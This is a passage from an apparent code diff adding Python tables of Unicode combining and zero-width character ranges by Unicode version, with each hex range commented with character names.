..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00901, 0x00902,), # Devanagari Sign Candrabi..Devanagari Sign Anusvara + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00954,), # Devanagari Stress Sign U..Devanagari Acute Accent + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f90, 0x00f97,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0135f, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01dc0, 0x01de6,), # Combining Dotted Grave A..Combining Latin Small Le + (0x01dfe, 0x01dff,), # Combining Left Arrowhead..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302f,), # Ideographic Level Tone M..Hangul Double Dot Tone M + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a67c, 0x0a67d,), # Combining Cyrillic Kavyk..Combining Cyrillic Payer + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c4,), # Saurashtra Sign Virama ..Saurashtra Sign Virama + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe26,), # Combining Ligature Left ..Combining Conjoining Mac + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '5.2.0': ( + # Source: DerivedGeneralCategory-5.2.0.txt + # Date: 2009-08-22, 04:58:21 GMT [MD] + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065e,), # Arabic Fathatan ..Arabic Fatha With Two Do + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006de, 0x006e4,), # Arabic Start Of Rub El H..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00900, 0x00902,), # Devanagari Sign Inverted..Devanagari Sign Anusvara + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00955,), # Devanagari Stress Sign U..Devanagari Vowel Sign Ca + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b56, 0x00b56,), # Oriya Ai Length Mark ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00eb9,), # Lao Vowel Sign I ..Lao Vowel Sign Uu + (0x00ebb, 0x00ebc,), # Lao Vowel Sign Mai Kon ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f90, 0x00f97,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135f, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01dc0, 0x01de6,), # Combining Dotted Grave A..Combining Latin Small Le + (0x01dfd, 0x01dff,), # Combining Almost Equal T..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302f,), # Ideographic Level Tone M..Hangul Double Dot Tone M + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a67c, 0x0a67d,), # Combining Cyrillic Kavyk..Combining Cyrillic Payer + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c4,), # Saurashtra Sign Virama ..Saurashtra Sign Virama + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bc,), # Javanese Vowel Sign Pepe..Javanese Vowel Sign Pepe + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe26,), # Combining Ligature Left ..Combining Conjoining Mac + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x11080, 0x11081,), # Kaithi Sign Candrabindu ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x1d167, 